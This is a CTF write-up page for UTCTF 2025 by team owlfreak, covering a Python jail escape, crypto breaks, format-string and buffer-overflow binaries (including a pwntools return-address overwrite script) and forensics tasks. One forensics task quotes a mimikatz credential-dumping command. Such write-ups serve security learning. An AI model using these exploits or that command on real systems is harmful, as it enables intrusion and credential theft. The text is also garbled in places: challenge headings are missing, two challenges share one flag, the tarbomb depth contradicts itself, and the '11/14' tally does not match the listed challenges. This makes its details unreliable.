Individual owlfreak
| Place | Team |
|---|---|
| 347 / 736 | owlfreak |
| Challenge | Category |
|---|---|
| Breadcrumbs | Misc |
| Break the Bank | Unknown |
| Cold Workspace | Forensics |
| Crab Mentality | Unknown |
| Fortune Teller | Crypto |
| Half Awake | Forensics |
| Hour of Joy | Pwn |
| Jail Break | Misc |
| Landfall | Forensics |
| Last Byte Standing | Forensics |
| Mind the Gap (in the guardrails) | Unknown |
| Oblivious Error | Crypto |
| QRecreate | Misc |
| Rude Guard | Pwn |
| Sherlockk | Forensics |
| Silent Archive | Forensics |
| Small Blind | Unknown |
| Smooth Criminal | Crypto |
| Time to Pretend | Unknown |
| W3W1 | OSINT |
| W3W2 | OSINT |
| W3W3 | OSINT |
| Watson | Forensics |
Category: Misc
Flag: utflag{py_ja1l_3sc4p3_m4st3r}
A Python REPL jail with a banned-word list and restricted builtins. The goal is to call a hidden _secret() function.
The word "secret" is banned, but _secret is already present in GLOBALS. The ban check uses word.lower() in code.lower() — simple substring match. The secret function XORs _ENC with _KEY=0x42 to produce the flag.
Since we have the source code, we can decode offline without connecting:
_ENC = [0x37,0x36,0x24,0x2e,0x23,0x25,0x39,0x32,0x3b,0x1d,0x28,0x23,0x73,
0x2e,0x1d,0x71,0x31,0x21,0x76,0x32,0x71,0x1d,0x2f,0x76,0x31,0x36,
0x71,0x30,0x3f]
print(''.join(chr(b ^ 0x42) for b in _ENC))
# utflag{py_ja1l_3sc4p3_m4st3r}- Read
jail.pysource; note_secretis inGLOBALSbut"secret"is banned - To escape the jail: use a variable alias — e.g.
getattr(globals(), '_'+'secret')() - Alternatively, decode the XOR array directly from source (no server needed)
Category: Crypto
Flag: utflag{pr3d1ct_th3_futur3_lcg}
A server uses a Linear Congruential Generator (LCG) to produce a keystream XOR-encrypted with the flag. It outputs several LCG values before the encrypted flag.
LCG: x_{n+1} = (a * x_n + c) % 2^32
Given 4 consecutive outputs [x0, x1, x2, x3], we can recover a and c:
- Compute differences:
t[i] = x[i+1] - x[i] a = t[1] * modinv(t[0], 2^32) % 2^32→ 3355924837c = (x[1] - a*x[0]) % 2^32→ 2915531925- Compute
x5then XOR with ciphertext
m = 2**32
outputs = [x0, x1, x2, x3] # from server
t = [outputs[i+1] - outputs[i] for i in range(3)]
a = (t[1] * pow(t[0], -1, m)) % m # 3355924837
c = (outputs[1] - a * outputs[0]) % m # 2915531925
x = outputs[-1]
x = (a * x + c) % m # x4
x = (a * x + c) % m # x5 = 1233863684
flag = bytes([ct ^ ((x >> (8*i)) & 0xff) for i, ct in enumerate(ciphertext)])Category: Crypto
Flag: utflag{sm00th_cr1m1nal_caught}
A Discrete Logarithm Problem (DLP) challenge: given g, h, p, find x such that g^x ≡ h (mod p).
The modulus p-1 is B-smooth — all prime factors are ≤ 197. This allows the Pohlig-Hellman algorithm to decompose the DLP into small subgroup problems, each solved with Baby-Step Giant-Step (BSGS), then combined via CRT.
- Factor
p-1using trial division up to 200 - For each prime power factor
q^e, compute the DLP in that subgroup using BSGS - Combine results with CRT to recover
x - Convert
xto bytes:x.to_bytes((x.bit_length()+7)//8, 'big')
def pohlig_hellman(g, h, p):
order = p - 1
factors = trial_factor(order) # {prime: exponent, ...}
residues, moduli = [], []
for q, e in factors.items():
qi = q**e
gi = pow(g, order // qi, p)
hi = pow(h, order // qi, p)
xi = bsgs(gi, hi, p, qi)
residues.append(xi)
moduli.append(qi)
return crt(residues, moduli)
x = pohlig_hellman(g, h, p)
flag = x.to_bytes((x.bit_length() + 7) // 8, 'big')Category: Crypto
Flag: utflag{sm00th_cr1m1nal_caught}
A 1-of-2 Oblivious Transfer (OT) protocol implementation. The server holds two messages m0 and m1. The client chooses one to receive without the server learning which. An error in the protocol leaks both.
Server computes: v = (x0 + (k XOR e)) % N
In a correct OT:
- Client wants
m0: sendk = e→k XOR e = 0→v = x0 - Client wants
m1: sendk = e XOR (x1 - x0)→k XOR e = x1-x0→v = x1
The bug: The server uses XOR (^) instead of modular arithmetic for the offset, and does not validate k. This lets the client set k freely to receive either message, breaking the obliviousness guarantee. The flag was embedded in m0 after also solving the DLP sub-challenge (Pohlig-Hellman, same as Smooth Criminal) to obtain e.
# Receive m0: send k = e
k = e # forces k XOR e = 0, so v = x0
# Receive m1: send k = e XOR ((x1-x0) % N)
k = e ^ ((x1 - x0) % N)Category: Pwn / Format String
Flag: utflag{f0rm4t_str1ng_l34k3d}
An ELF binary that reads a name with fgets then passes it directly to printf — a classic format string vulnerability.
printf(name) with user-controlled name allows arbitrary memory reads via %p, %s, %x. The binary also contains a print_flag() function that XOR-decodes the flag from hardcoded bytes in the .text section.
Disassemble print_flag() to extract the encoded buffer and XOR decode:
buf = [0x37,0x36,0x24,0x2e,0x23,0x25,0x39,0x24,
0x72,0x30,0x2f,0x76,0x36,0x1d,0x31,0x36,
0x30,0x73,0x2c,0x25,0x1d,0x2e,0x71,0x76,
0x29,0x71,0x26,0x3f]
print(''.join(chr(b ^ 0x42) for b in buf))
# utflag{f0rm4t_str1ng_l34k3d}Alternatively, exploit the format string to redirect execution to print_flag() and let the binary decode and print it at runtime.
Category: Pwn / Buffer Overflow
Flag: utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}
An ELF binary with a "rude guard" that checks a command-line argument and prompts for a secret password. There's a buffer overflow in the input reading function.
Two vulnerabilities chain together:
mainrequiresatoi(argv[1]) == 0x656c6c6f(= 1701604463) as a gateread_input()reads up to0x64(100) bytes into a0x20(32) byte buffer → stack overflow
A strcmp against "givemeflag\n" produces a decoy fake flag. The real path overflows the return address to jump to secret_function at 0x40124f, which XOR-decodes the real flag (key=0x32, 39 bytes).
from pwn import *
p = process(['./pwnable', '1701604463'])
payload = b'A' * 32 # fill buffer
payload += b'B' * 8 # overwrite saved RBP
payload += p64(0x40124f) # return to secret_function
p.sendline(payload)
p.interactive()Static decode from disassembly:
enc = [...] # 39 bytes from secret_function disassembly
print(''.join(chr(b ^ 0x32) for b in enc))
# utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}Category: Forensics / PCAP
Flag: utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck}
A network capture containing traffic across multiple protocols. A payload is hidden within what appears to be normal TLS traffic.
Three-layer puzzle embedded across different protocol layers:
- HTTP response hints: "If you find a payload that starts with PK, treat it as a file"
- mDNS TXT record for
key.version.local="00b7"→ XOR key[0x00, 0xb7] - TLS Alert frame (type
0x15, length 306) contains a ZIP archive starting atPKmagic bytes
import zipfile, io
# Extract raw TLS Alert payload from PCAP
# (Wireshark: follow TCP stream, locate frame with type=0x15, find PK offset)
raw = bytes(...) # 306-byte TLS record content
pk_offset = raw.index(b'PK')
zip_data = raw[pk_offset:]
# Extract stage2.bin from ZIP (no password)
with zipfile.ZipFile(io.BytesIO(zip_data)) as z:
stage2 = z.read('stage2.bin')
# XOR decrypt with 2-byte rolling key from mDNS
key = bytes([0x00, 0xb7])
flag = bytes([stage2[i] ^ key[i % 2] for i in range(len(stage2))])
print(flag)
# b'utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck}'Category: Forensics / Memory
Flag: utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s}
A Windows memory dump. A PowerShell script encrypted flag.jpg with AES-CBC. The encryption key, IV, and ciphertext all remain in the process's environment block in memory.
The PowerShell process (PID 4608) stored encryption parameters as environment variables visible in the raw memory dump via strings:
ENCK= Base64-encoded AES-256 keyENCV= Base64-encoded AES IVENCD= Base64-encoded ciphertext
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
enck = "Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU="
encv = "xXpGwuoqihg/QHFTM2yMxA=="
encd = "S4wX8ml7/..." # 144-byte base64 ciphertext from ENV_BLOCK
key = base64.b64decode(enck)
iv = base64.b64decode(encv)
ct = base64.b64decode(encd)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
dec = cipher.decryptor()
pt = dec.update(ct) + dec.finalize()
# pt = JPEG bytes; save and open to read:
# FLAG:utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s}
with open('flag_decrypted.jpg', 'wb') as f:
f.write(pt)Recovery steps in Volatility / strings:
strings cold-workspace.dmp | grep -E "^ENC[KVD]="
# Parse multiline ENV_BLOCK to reassemble ENCD (split across output lines)Category: Forensics / Steganography
Flag: utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3}
A ZIP archive containing a tarbomb (987 levels of nested .tar files) and two suspiciously similar JPEG images.
Three-layer puzzle:
- Tarbomb:
File2.tar→999.tar→998.tar→ ... →1.tar→Noo.txt(actually a ZIP) - JPEG differential steganography:
cam_300.jpgandcam_301.jpgdiffer in 29 bytes near EOF; each hides a Base64AUTH_FRAGMENT_B64value:cam_300:QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz→"Always_check_both_images"(hint)cam_301:MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh→"0r4ng3_ArCh1v3_T4bSp4ce!"(ZIP password)
- Whitespace steganography:
NotaFlag.txtinside the innermost ZIP encodes bits as spaces (=0) and tabs (=1), read in 8-bit groups to produce ASCII
import tarfile, base64, zipfile
# Step 1: Extract the 987-level tarbomb
name = "File2.tar"
for _ in range(987):
with tarfile.open(name) as t:
inner = t.getnames()[0]
t.extract(inner, '.')
name = inner
# name is now "1.tar" → extract → "Noo.txt"
# Step 2: Get ZIP password from cam_301.jpg
with open('cam_301.jpg', 'rb') as f:
data = f.read()
frag = data.split(b'AUTH_FRAGMENT_B64=')[1].split(b'\x00')[0]
password = base64.b64decode(frag).decode() # "0r4ng3_ArCh1v3_T4bSp4ce!"
# Step 3: Decode whitespace steganography
with zipfile.ZipFile('Noo.txt', 'r') as z:
z.extractall(pwd=password.encode())
with open('NotaFlag.txt', 'r') as f:
text = f.read()
bits = ''.join('1' if c == '\t' else '0' for c in text if c in ' \t')
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print(flag)
# utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3}Category: Forensics / DFIR
Flag: utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll}
A KAPE triage of a compromised Windows desktop. An insider threat (jon) used PowerShell to execute a credential-dumping tool.
PowerShell history in ConsoleHost_history.txt contains -EncodedCommand base64 blobs. Decoding them reveals mimikatz being downloaded and executed. Per the challenge briefing, the MD5 hash of the raw base64 string is the ZIP password for the flag archive.
- Locate:
triage/Modified_KAPE_Triage_Files/C/Users/jon/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt - Find the
-EncodedCommand <base64>entry and extract the base64 string - Decode to verify (UTF-16-LE):
import base64 decoded = base64.b64decode(encoded_str).decode('utf-16-le') # C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
- Compute MD5 of the raw base64 string:
import hashlib password = hashlib.md5(encoded_str.encode()).hexdigest()
- Decrypt
Checkpoint_A.zipwith that password → flag file
Category: Unknown Flag: Not recovered
No local challenge files were found under /home/alex/UTCTF/. This challenge was likely online-only (web/network) or stored under a different directory name. No flag was obtained.
Category: Misc / QR Code
Flag: Not recovered
Hundreds of QR code fragment images organized in numbered subdirectories (MDA0/, MDA1/, etc., up to MDc0), each containing data/img.png. The goal is to reassemble and decode the complete QR code.
The fragments were assembled into qrcode_assembled.png. Decoding was attempted with PIL/pyzbar and OpenCV's QRCodeDetector, both of which failed due to missing library support in the environment.
To finish: Open qrcode_assembled.png with a phone camera or an online QR reader (e.g. zxing.org).
Category: Forensics / Network
Flag: Not recovered
A PCAP with 1500 frames of DNS traffic. Three noise senders (10.55.0.24, .31, .32) precede 220 real DNS query/response pairs encoding data covertly in response IP addresses.
Response IPs follow 172.16.X.Y where:
X= byte position within a 32-byte segment (0–31)Y=3*X + offset (mod 256)encodes one data byte
Nine segments were identified with distinct offsets and sizes:
| Segment | Offset | Size |
|---|---|---|
| 1 | 1 | 32 |
| 2 | 97 | 32 |
| 3 | 193 | 20 |
| 4 | 199 | 12 |
| 5 | 39 | 32 |
| 6 | 135 | 32 |
| 7 | 231 | 7 |
| 8 | 237 | 25 |
| 9 | 77 | 28 |
The offset-based encoding was partially reverse-engineered but the complete flag decoding was not finished during the competition.
Writeups cover UTCTF 2025. Confirmed flags for 11/14 challenges.